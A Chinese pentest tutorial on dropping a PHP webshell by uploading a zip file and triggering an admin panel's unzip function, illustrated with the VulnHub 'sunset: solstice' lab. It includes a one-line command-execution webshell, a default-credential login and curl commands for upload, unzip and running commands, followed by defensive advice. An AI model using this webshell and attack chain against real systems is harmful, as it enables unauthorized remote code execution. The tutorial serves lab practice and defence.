跳到主要内容

文件上传与 Zip 解压释放 WebShell

很多后台会限制直接上传 .php,但允许上传压缩包,并在后台提供“解压”功能。如果解压后的文件落在 Web 可访问目录,攻击者就可能通过 Zip 包间接释放 WebShell。

这类路径常见于文件管理器、CMS 插件、备份管理面板和旧式 Web 文件浏览器。


判断条件​

条件说明
可登录后台弱口令、默认口令或已获取凭据
可上传压缩包直接 .php 可能被拦,但 .zip 被允许
后台可解压解压目录可控或固定在 Web 目录
解压后可访问shell.php 能通过 URL 访问
PHP 可执行Web 服务器会解释解压出的 PHP 文件

基础流程​

1. 准备最小 WebShell​

授权靶场中可用最小命令执行文件:

echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.zip shell.php

2. 登录后台​

以 File Thingie 这类表单后台为例:

curl -s -L -c cookies.txt \
-d "ft_user=admin&ft_pass=admin&act=dologin" \
http://target:54787/project/index.php

3. 上传 Zip​

curl -s -b cookies.txt \
-F "act=upload" \
-F "localfile=@shell.zip" \
http://target:54787/project/index.php

4. 后台解压​

curl -s -b cookies.txt \
-d "act=unzip&file=shell.zip&dir=&newvalue=shell.zip&submit=Ok" \
http://target:54787/project/index.php

5. 访问解压后的文件​

curl -s 'http://target:54787/project/shell.php?cmd=id'

防坑点​

  1. 先上传普通文本文件确认路径,不要直接假设解压目录。
  2. 如果 .php 不执行,检查是否落在静态目录、扩展名是否被改写。
  3. 如果 Zip 内有目录层级,URL 路径也要带上目录。
  4. 后台可能需要 CSRF token,先用浏览器或 Burp 看真实请求。
  5. 弱口令后台本身也是发现点,别只盯着上传功能。

Solstice 案例​

sunset: solstice 的 54787 端口暴露 File Thingie 后台,admin:admin 可登录。直接利用上传和解压功能释放 shell.php,访问后得到 www-data RCE。

完整过程见:VulnHub sunset: solstice 通关记录。


防御建议​

  1. 后台必须使用强口令和 MFA,禁用默认账号。
  2. 上传目录和解压目录不要允许脚本执行。
  3. 解压前校验压缩包内容,拒绝危险扩展名和路径穿越。
  4. 解压后的文件名、MIME、扩展名都要重新检查。
  5. 文件管理器后台不要暴露到不必要的网络范围。